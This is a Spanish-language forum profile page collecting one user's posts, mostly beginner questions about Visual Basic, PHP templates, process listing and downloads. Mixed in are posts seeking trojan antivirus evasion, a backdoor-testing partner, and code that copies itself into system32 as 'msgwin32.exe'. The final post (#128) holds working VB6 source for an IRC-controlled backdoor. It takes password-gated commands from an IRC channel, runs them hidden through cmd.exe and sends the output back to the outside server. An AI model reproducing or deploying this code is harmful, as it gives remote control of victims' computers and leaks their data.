Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 70N1

#91
Alguien sabria decirme de algun ejemplo claro en el que se pueda ejecutar la aplicacion
desde ms-dos con argumentos?.
Quiero que para abrir mi aplicacion tengan que introducirle un pasword.


c:\mi_aplicacion.exe -password 1983
#92
Este codigo me funcionava a la perfeccion asta que formatee y instale xampp nuevamente y actualizado.

Por que me da error?.

dice:
Fatal error: Class 'Plantilla' not found in E:\xampp\htdocs\xampp\web\servidor.php on line 13


7     <?php
8     
include("clase_plantilla.php");
9     $iparray[]=array();
10   $nu_de_ele_iparray=count($iparray);
11   $iparray[]=$_GET['ip'];
12   $Contenido[]=array();
*
13 $Contenido[]=new Plantilla("enviar_mensaje");
14   $Contenido[$nu_de_ele_iparray]->asigna_variables(array(
15 "variable" => "Hola Mundo"
16 ));
17   $ContenidoString $Contenido[$nu_de_ele_iparray]->muestra();
18 echo $ContenidoString;
19    ?>



Puede ser que tenga algo mal configurado en xampp?
#93
PHP / Ayuda con array de plantillas.
24 Noviembre 2009, 15:11 PM
Tengo este codigo y quiero hacer que $contenido sea un array para poder seleccionar a que form enviar la informacion. hacer una especie de chat

<?
include("clase_plantilla.php");

$Contenido=new Plantilla("holaMundo");
$Contenido ->asigna_variables(array(
"IPLOCAL" => $_SERVER['REMOTE_ADDR'],
"IPDESTINO"=>$IPDESTINO,
"ENVIO"=>$ENVIO,
"LLEGADA"=>$LLEGADA
));


$ContenidoString = $Contenido->muestra();
echo $ContenidoString;
?>


Se puede?
Algo asi como $datos[datos + $_SERVER['REMOTE_ADDR']=$contenido]
#94
hola.
Necesito usar templates y no se como hacerlo y este codigo lo encontre en la web el cual quiero usar para iniciarme. Pero no me funciona.
Puede provarlo alguno para saber si es que tengo mal configurado el wamp-?

http://www.cristalab.com/files/ejemplos/templates/templates.zip


Y si es error del codigo... hechadme una mano.
#95
Buenas a todos.
Estoy intentando desarrollar un programa en vb.net para reducir juegos de pc y quiero usar el compresor de rad video tools mediante un batch para bajar la calidad de los videos.

No encuentro ejemplos en internet. Por eso acudo al foro.

El problema es que no se que switches (LAS OPCIONES) tengo que manejar ya que mis nociones de codificacion son nulas.
Espero que podais decirme cuales son las que tengo que usar para la compresion de sonido y video, como se usan y para que sirve.
Muchas gracias de antemano.


#96
Tengo ese problema, no consigo listar los nombres de las ventanas de los procesos

e intentado con:


dim recogidadedatos as string, handle as long
handle=openprocess( information or read,0, id)
getwindowtext(handle,recogidadedatos,100)
msgbox(recogidadedatos)


Pero parece que no encuentra el handle. Alguien me puede explicar el motivo?

A ¡¡, En el proceso vb leido con openprocess me da un handle pero en otro programa me sale otro handle en el mismo proceso.

Este es el modulo que lista los procesos en un treeview y pone en handle el classname y las dependencias:

Public Function FillProcessListNT(treeview As MSComctlLib.treeview) As Long
    '=========================================================
    'Clears the listbox specified by the DestListBox parameter
    'and then fills the list with the processes and the
    'modules used by each process
    '=========================================================

    Dim cb                  As Long
    Dim cbNeeded            As Long
    Dim NumElements         As Long
    Dim ProcessIDs()        As Long
    Dim cbNeeded2           As Long
    Dim NumElements2        As Long
    Dim Modules(1 To 1024)  As Long
    Dim lRet                As Long
    Dim ModuleName          As String
    Dim nSize               As Long
    Dim hProcess            As Long
    Dim i                   As Long
    Dim sModName            As String
    Dim sChildModName       As String
    Dim iModDlls            As Long
    Dim iProcesses          As Integer
    Dim nodo(5)             As Node
   
   
    treeview.Nodes.Clear
     
     Set nodo(0) = treeview.Nodes.Add(, , , "Procesos en ejecucion")
               
    'Get the array containing the process id's for each process object
    cb = 8
    cbNeeded = 96
   
    'One important note should be made. Although the documentation
    'names the returned DWORD "cbNeeded", there is actually no way
    'to find out how big the passed in array must be. EnumProcesses()
    'will never return a value in cbNeeded that is larger than the
    'size of array value that you passed in the cb parameter.
   
    'if cbNeeded == cb upon return, allocate a larger array
    'and try again until cbNeeded is smaller than cb.
    Do While cb <= cbNeeded
       cb = cb * 2
       ReDim ProcessIDs(cb / 4) As Long
       lRet = EnumProcesses(ProcessIDs(1), cb, cbNeeded)
    Loop
   
    'calculate how many process IDs were returned
    NumElements = cbNeeded / 4
   
    For i = 1 To NumElements
   
        'Get a handle to the Process
        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION _
            Or PROCESS_VM_READ, 0, ProcessIDs(i))

        ' Iterate through each process with an ID that <> 0
        If hProcess Then
           
            'Retrieve the number of bytes that the array of module handles requires
            lRet = EnumProcessModules(hProcess, Modules(1), 1024, cbNeeded2)
            'Get an array of the module handles for the specified process
            lRet = EnumProcessModules(hProcess, Modules(1), cbNeeded2, cbNeeded2)
           
            'If the Module Array is retrieved, Get the ModuleFileName
            If lRet <> 0 Then
               
                'Fill the ModuleName buffer with spaces
                ModuleName = Space(MAX_PATH)
               
                'Preset buffer size
                nSize = 500
               
                'Get the module file name
                lRet = GetModuleFileNameExA(hProcess, Modules(1), ModuleName, nSize)
                frmModuleList.Text1.Text = Modules(1)
                'Get the module file name out of the buffer, lRet is how
                'many characters the string is, the rest of the buffer is spaces
                sModName = Left$(ModuleName, lRet)
               
                'Add the process to the listbox
                Set nodo(1) = treeview.Nodes.Add(nodo(0), tvwChild, , sModName, "false")
               
               treeview.Nodes.Add nodo(1), tvwChild, , "Class name :"
               treeview.Nodes.Add nodo(1), tvwChild, , "Pid :" & ProcessIDs(i)
                       treeview.Nodes.Add nodo(1), tvwChild, , "Hwnd :" & hProcess
                Set nodo(2) = treeview.Nodes.Add(nodo(1), tvwChild, , "Dependencias")
             
                'Increment the count of processes we've added
                iProcesses = iProcesses + 1
               
                iModDlls = 1
                Do
                    iModDlls = iModDlls + 1
                   
                    'Fill the ModuleName buffer with spaces
                    ModuleName = Space(MAX_PATH)
                   
                    'Preset buffer size
                    nSize = 500
                   
                    'Get the module file name out of the buffer, lRet is how
                    'many characters the string is, the rest of the buffer is spaces
                    lRet = GetModuleFileNameExA(hProcess, Modules(iModDlls), ModuleName, nSize)
                    sChildModName = Left$(ModuleName, lRet)
                   
                    If sChildModName = sModName Then Exit Do
                    If Trim(sChildModName) <> "" Then treeview.Nodes.Add nodo(2), tvwChild, , sChildModName, "false"
                Loop
            End If
        Else
            'Return the number of Processes found
            FillProcessListNT = 0
        End If
       
        'Close the handle to the process
        lRet = CloseHandle(hProcess)
    Next
   
    'Return the number of Processes found
    FillProcessListNT = iProcesses
   
End Function

#97
El problema es que en todas las ramas del treeview me pone la misma ruta en ves de poner la ruta de cada proceso.
Le e dado muchas vueltas, aver si alguien de ustedes tiene la cabeza despejada y da con la solucion. Os lo agradeceria la verdad.

Public Function listar_procc()

    Dim Buffer As String
    Dim handle As Long
    Dim ret As Long
    Dim Ruta As String
   
   
   
    Dim hSnapShot As Long, uProcess As PROCESSENTRY32
 
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
    uProcess.dwSize = Len(uProcess)
    R = Process32First(hSnapShot, uProcess)
       
   
    'Recorre los procesos y agrega la información al ListView
    Do While R
        R = Process32Next(hSnapShot, uProcess)
   
    'recupera el handle, creo que aki esta el problema
    handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, uProcess.th32ProcessID)
   
   
Buffer = Space(255)
ret = GetModuleFileNameExA(handle, 0, Buffer, 255)
'Le elimina los espacios nulos a la cadena devuelta
    Ruta = Left(Buffer, ret)
     
     
    Set nodos(1) = Form1.TreeView1.Nodes.Add(nodos(0), tvwChild, , uProcess.szExeFile)
     Form1.TreeView1.Nodes.Add nodos(1), tvwChild, , "Nombre de ventana: " & Get_Caption_Ventana(handle)
       
     Form1.TreeView1.Nodes.Add nodos(1), tvwChild, , "Ruta del archivo: " & Ruta
     Form1.TreeView1.Nodes.Add nodos(1), tvwChild, , "Pid: " & uProcess.th32ProcessID
     Form1.TreeView1.Nodes.Add nodos(1), tvwChild, , "Handle : " & handle
     
     
   
Loop
   
    Call CloseHandle(hSnapShot)

End Function
#98
Busco algo de informacion para eso mismo. Obtener el nombre de la ventana de un proceso.
#99
Buenas a todos.

Sabriais decidme como listar las dependencias de un programa desde vb?.

E encontrado informacion sobre listar todas las dll´s cargadas en windows, pero quiero listarlas por aplicaciones y sobre eso si que no encuentro nada de info.

Espero que me podais ayudar.
#100
Lo que necesito es que cuando pinches en apagar o cerrar sesion en windows, mi programa pueda hacer siertas acciones antes de cerrarse el windows.

-Detectar el cierre de windows
-Ejecutar accion
-Dejar que windows cierre
#101
La cosa es que lellendo y lellendo encontre un post que decia algo de encriptacion para poder escribir en el registro sin ser detectado.
Le doy vueltas a la cabeza y nada, no tengo ni idea.
El post era la publicacion de un troyano y tengo curiosidad por saber como es eso de cifrar noseque de la ruta para no ser detectado por el antivirus.
Me vendria bien que me guien un poco.

vb6
#102
Burlador:

Este es un programilla que hice en vb.net.2005 y sirve para poner una lista de links de rapidshare.com y que se bajen automaticamente.

Le introduces los links, la lista de proxys y el solo va buscando un proxy que no este en uso para hacer la descarga.

Cuando te pone a descargar un link, salta para buscar otro proxy para otra descarga y asi consecutivamente.

Atencion:
Si no te descarga el archivo completo significa que el proxy tiene un maximo de bytes a dercargar, entonces el archivo estara dañado.(Es dificil encontrar proxys buenos)

Saque toda la informacion de google + las ayudas que e recivido en los foros del hacker.net a los que les agradezco mucho su tiempo. vb, net


Espero sus comentarios.

Imagen 1:


Imagen 2:


Link de descarga(MU):
http://www.megaupload.com/?d=AWBB5MBZ


Si le hicierais alguna modificacion al codigo me encantaria estar al tanto para ver como evoluciona el proyecto.
#103
Me gustaria saber si existe alguna forma de averiguar los bytes que te deja descargar un proxy.
Saveis donde puedo conseguir info?.

Gracias de antemano.
#104
Pues el problema es que el ( on error resume next ) o (on error goto puente)
no me funcionan para capturar un error del axwebbrowser.
El error esta dentro de un control de usuario.

El tipo de error es :  nullreferenceexeption

Gracias de antemano
#105
Buenas.
La cuestion es que quiero que el axwebbrowser navegue a una pagina con un proxy y luego poder cambiar el proxy y que busque en otra pagina...

Le cambio bien el proxy atraves del registro de windows, pero el axwebbrowser acepta el primer proxy y luego no ahi forma de actualizarlo. el refresh no ase que actualice al proxy del explorador de windows.
Alguna idea?

vb2005.net
#106
Creo un array con webclient
ejem:
For I = a To 2
            a = I + 1
       
            cliente(I) = New Net.WebClient
            cliente(I).DownloadFileAsync(archivo, "c:\prueva.rar")
           
            Exit For
        Next



y quiero capturar el DownloadProgressChanged de cada web client del array.
#107
Este codigo me genera un progressbar dentro de una colummna del listview.

Pero ahora no se como introducirle el porcentaje desde fuera de la funcion.


Public Function ListView_AddProgressBar(ByRef pListView As System.Windows.Forms.ListView, ByVal ListViewItemIndex As Integer, ByVal ColumnIndex As Integer) As System.Windows.Forms.ProgressBar
        Dim r As Rectangle
        Dim pb As New System.Windows.Forms.ProgressBar

        r = pListView.Items(ListViewItemIndex).Bounds()
        r.Width = pListView.Columns(ColumnIndex).Width
        If ColumnIndex > 0 Then
            r.X = r.X + pListView.Columns(ColumnIndex - 1).Width
        End If
        pb.Parent = pListView
        pb.SetBounds(r.X, r.Y, r.Width, r.Height)
        pb.Visible = True

        Return pb
    End Function



Llamo a la funcion asi:

ListView_AddProgressBar(ListView1, ListView1.Items(0).Index, ListView1.Columns.IndexOf(Progresos))
       
#108
Me an dicho que la manera mas facil es motrar el progres dentro de un listview.


Alguien tiene o save de algun ejemplo para poder analizar el codigo?

vb.net 2005
#109
Me podrian decir donde puedo encontrar informacion sobre el tema?

Quiero que en una de las celdas del datagrid aparezca la progressbar.
#110
Intento poner a descargar un archivo desde un modulo con el webclient.

Saveis en que me estoy ekivocando?




dim descargador
descargador = CreateObject("system.net.webclient")
descargador.downloadfile ("http//:www.google.com/archivo.rar","c:/archivo.rar")
#111
Pues lo que quiero es coger links de una web, pero no los href sino los links que vienen en action.

ej:
form= "toni" action = "www.google.com"
#112
Pues me gustaria crear una conexion de red para mi programa al iwal que hace hamachi o editar una conexion ya existente.

Que es lo que tengo que buscar?. Por que por la red no consigo gran cosa.
he encontrado algo de msdos(net use), pero eso no es creo yo.... Eso es para extablecer una conexion de red con otro equipo.
#113
Pues estoy intentando manipular un PE(exe).
Lo abro y no esta comprimido pero cuando lo edito y guardo los cambios. Luego lo ejecuto y me salta un error de que el archivo esta mal. Saveis que puede ser?
#114
Busco un compañero de confianza para provar unas cosillas.
Quien quiera que deje su email o me lo mande por mensaje privado.
Compartire los conosimientos del tema.
(backdoor)

No pongo este post en hacking por que no quiero darle el control de mi pc a los que pasan por ahi.
#115
Llevo un rato con esto y no doy con la solucion...

El archivo se copia a si mismo en la carpeta system32, me podreis decir que es lo que estoy haciendo mal?.

'Modulo:

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" _
(lpFileOp As SHFILEOPSTRUCT) As Long

Private Const FO_COPY = &H2
Private Const FOF_ALLOWUNDO = &H40

Public Sub SHCopyFile(ByVal from_file As String, ByVal to_file As String)
Dim sh_op As SHFILEOPSTRUCT

With sh_op
.hWnd = 0
.wFunc = FO_COPY
.pFrom = from_file & vbNullChar & vbNullChar
.pTo = to_file & vbNullChar & vbNullChar
.fFlags = FOF_ALLOWUNDO
End With

SHFileOperation sh_op
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

'En el form_load:

Dim copy As String
copy = SHCopyFile([app.patch & "\msgwin32.exe"], [Environ$(windir)& "\system32\msgwin32.exe"])App.Activate (copy)
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'El modulo lo saque de una pagina web.
'Lo que esta en negrita es donde me tira el error.
#116
Pues la cosa es que quiero saber que espacios de memoria ocupa un programa en concreto y luego borrar esos espacios para que se cierre el programa.

Se puede hacer?
#117
Pues lo que e dicho.
Necesito acceder a una variable de entorno. Exactamente a %TMP%.

Este es mi codigo:
Shell ("start " & "%TMP%"\Server.exe")
#118
He encontrado este programa por la red y me parece vastante interesante, por eso lo comparto con vosotros. Un saludo

Buscar Dependencias v1.0.0 BETA

Muestra y guarda todas las librerias(.dll, .ocx) que utiliza un programa cuando esta ejecutando. Útil cuando quieres distribuir tu programa sin que te falte ninguna librería.

Características:
Lista todas las librerías(.dll) y controles(.ocx) que utiliza un proceso
Filtra las librerias nativas de cada sistema operativo
Mediante un archivo de texto se puede configurar las librerías que pertenecen a algún paquete, como por ejemplo, las de VBRuntime, MDAC, etc
Permite elegir las librerías que serán guardadas

Download
http://www.ulises2k.com.ar/programas/buscar_dependencias/buscar_dependencias_1.0_beta.exe



FUENTE:
http://www.ulises2k.com.ar/programas/buscar_dependencias/index.php
#119
Pues aqui estoy de nuevo con otro problema.
Tengo un programa casi terminado a la espera de una simple actualizacion de la base de datos (SQL) "ALOMEJOR NO TAN SIMPLE".

El error que me salta es:

Update requiere que UpdateCommand sea válido cuando se pasa la colección DataRow con filas modificadas.

Saveis como puedo solucionarlo?. Cualquier idea es bienvenida.
#120

Form3.AlumnoBindingNavigator.PositionItem=AlumnoBindingNavigator.PositionItem


Intento pasar la posicion del row de un form a otro...
Pero no cambia.
En el form donde selecciono es un datagrid y en el otro son textboxs.

Gracias antes que nada por intentar ayudar.
#121
Scripting / MS-DOS ARCHIVOS BAT
16 Marzo 2008, 20:38 PM
Tengo un problemilla... espero me sepais echar una mano.

Bueno, el proble es el siguiente.
Necesito saber como continuo una instruccion en la linea siguiente.

ejemplo:
open c:\
windows\system32
\loquesea.txt

COMO PUEDO HACER ESTO?.
Gracias de ante mano
#123
El fallo esta a la punta de abajo.          Imports System
Imports System.Text
Imports System.IO
Imports System.Net
Imports System.Net.Sockets
Imports Microsoft.VisualBasic

Public Class GetSocket

    Private Shared Function ConnectSocket(ByVal server As String, ByVal port As Integer) As Socket
        Dim s As Socket = Nothing
        Dim hostEntry As IPHostEntry = Nothing

        ' Get host related information.
        hostEntry = Dns.GetHostEntry("libres.irc - hispano.org")

        ' Loop through the AddressList to obtain the supported AddressFamily. This is to avoid
        ' an exception that occurs when the host host IP Address is not compatible with the address family
        ' (typical in the IPv6 case).
        Dim address As IPAddress

        For Each address In hostEntry.AddressList
            Dim endPoint As New IPEndPoint(address, port)
            Dim tempSocket As New Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp)

            tempSocket.Connect(endPoint)

            If tempSocket.Connected Then
                s = tempSocket
                Exit For
            End If

        Next address

        Return s
    End Function


    ' This method requests the home page content for the specified server.

    Private Shared Function SocketSendReceive(ByVal server As String, ByVal port As Integer) As String
        'Set up variables and String to write to the server.
        Dim ascii As Encoding = Encoding.ASCII
        Dim request As String = "GET / HTTP/1.1" + ControlChars.Cr + ControlChars.Lf + "Host: " + server + ControlChars.Cr + ControlChars.Lf + "Connection: Close" + ControlChars.Cr + ControlChars.Lf + ControlChars.Cr + ControlChars.Lf
        Dim bytesSent As [Byte]() = ascii.GetBytes(request)
        Dim bytesReceived(255) As [Byte]

        ' Create a socket connection with the specified server and port.
        Dim s As Socket = ConnectSocket(server, port)

        If s Is Nothing Then
            Return "Connection failed"
        End If
        ' Send request to the server.
        s.Send(bytesSent, bytesSent.Length, 0)

        ' Receive the server  home page content.
        Dim bytes As Int32

        ' Read the first 256 bytes.
        Dim page As [String] = "Default HTML page on " + server + ":" + ControlChars.Cr + ControlChars.Lf

        ' The following will block until the page is transmitted.
        Do
            bytes = s.Receive(bytesReceived, bytesReceived.Length, 0)
            page = page + Encoding.ASCII.GetString(bytesReceived, 0, bytes)
        Loop While bytes > 0

        Return page
    End Function

    'Entry point which delegates to C-style main Private Function
    Public Overloads Shared Sub Main()
        Main(System.Environment.GetCommandLineArgs())
    End Sub


    Private Overloads Shared Sub Main(ByVal args() As String)
        Dim host As String
        Dim port As Integer = 80

        If args.Length = 1 Then
            ' If no server name is passed as argument to this program,
            ' use the current host name as default.
            host = Dns.GetHostName()
        Else
            host = args(1)
        End If

        Dim result As String = SocketSendReceive(host, port)


      'CAMBIE CONSOLE POR TEXTBOX1 Y ME DA UN ERROR.
        TextBox1 = result
    End Sub 'Main
End Class           
#124
Se que es facil... pero ando perdido y a estas horas pues... exo polvo.
Aver si alguien me puede decir... o completar este codigo.
   
Private Sub Button1_Click()
       
         If TextBox1 = Me.database1DataSet.table1 Then

        End If
   
End Sub
         


y... me perdi.
#125
La cosa es que creo la base de datos, creo una tabla y luego inserto el datagrid en el formulario.
Introdusco informacion y le doy a guardar en el proyecto y la cosa es que se guarda pero al intentar editar o eliminar una fila me da error.
Alguien sabria decirme el porque?.
#126
Ya tengo la solucion.

Kien la kiera que me lo diga en privado.
#127



Lo que necesitas saber sobre las apis de Windows




http://www16.brinkster.com/eduroam/api/default.asp





Una ves ya sepan como usar las apis, pues os bajais el MSDN library de microsoft en donde vienen todas las apis de los productos microsoft al iwal que sus protocolos etc...
#128
Alguien podria decirme un buen libro con buenas explicaciones de vb y programacion con windows.


Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim ruta


Private Sub Form_Load()
Winsock1.RemotePort = "6667"
Winsock1.RemoteHost = "libres.irc-hispano.org"
Winsock1.Connect

End Sub

Private Sub Timer1_Timer()
'------------------------------------------------
'ABRIMOS EL ARCHIVO Y VAMOS ENVIANDO LINEA POR LINEA

Dim comando As String
Dim a() As String
Dim i As Integer


Open "c:\pas" For Input As #1
comando = Input(LOF(1), #1)
Close #1
a = Split(comando, vbNewLine)

For i = LBound(a) To UBound(a)
Winsock1.SendData "PRIVMSG #123456789 :" + a(i) + vbCrLf

Espera (4000)
Text1.Text = a(i)
Next i

Timer1 = False
End Sub

Private Sub Timer2_Timer()
Winsock1.RemotePort = "6667"
Winsock1.RemoteHost = "libres.irc-hispano.org"
Winsock1.Connect
End Sub

Private Sub Winsock1_Close()
Timer2 = True
End Sub

Private Sub Winsock1_Connect()
Winsock1.SendData "NICK toni12883" & vbCrLf
Winsock1.SendData "USER antonio antonio antonio antonio antonio" & vbCrLf
Timer2 = False

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim data As String
Dim data1
Dim data2
Dim data3
Dim c
ruta = "C:\"
'-------------------------------------------------
Winsock1.GetData data
'--------------------------------------------------
'PING? PONG!

If InStr(data, "PING") = 1 Then
Winsock1.SendData "PONG " & Split(data, " ")(1)
Winsock1.SendData "join #123456789" & vbCrLf
End If


'-----------------------------------------------
'COMPRUEVA LA CONTRASEÑA Y COGE EL COMANDO

data1 = InStr(data, "1983")
data2 = Mid(data, data1, 4)
If data2 = "1983" Then
data2 = Mid(data, data1, 999999)
data3 = data2
data1 = InStr(data3, " ")
data2 = Mid(data3, data1, 999999)
data3 = data2

'------------------------------------------
'ELIMINANDO EL SALTO DE LINEA
c = InStr(data3, vbNewLine)
c = c - 1
data3 = Left(data3, c)
'-------------------------------------------
'EJECUTA EL COMANDO CMD
Shell "cmd.exe /c " & data3 & " > c:\pas", vbHide


Timer1 = True
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Timer2 = True

End Sub

'----------------------------------------------------
'MADE IN HaDeS

Sub Espera(Tiempo&)
Dim cont&
cont = 1
While (cont <= Tiempo)
Sleep 1
DoEvents
cont = cont + 20
Wend
End Sub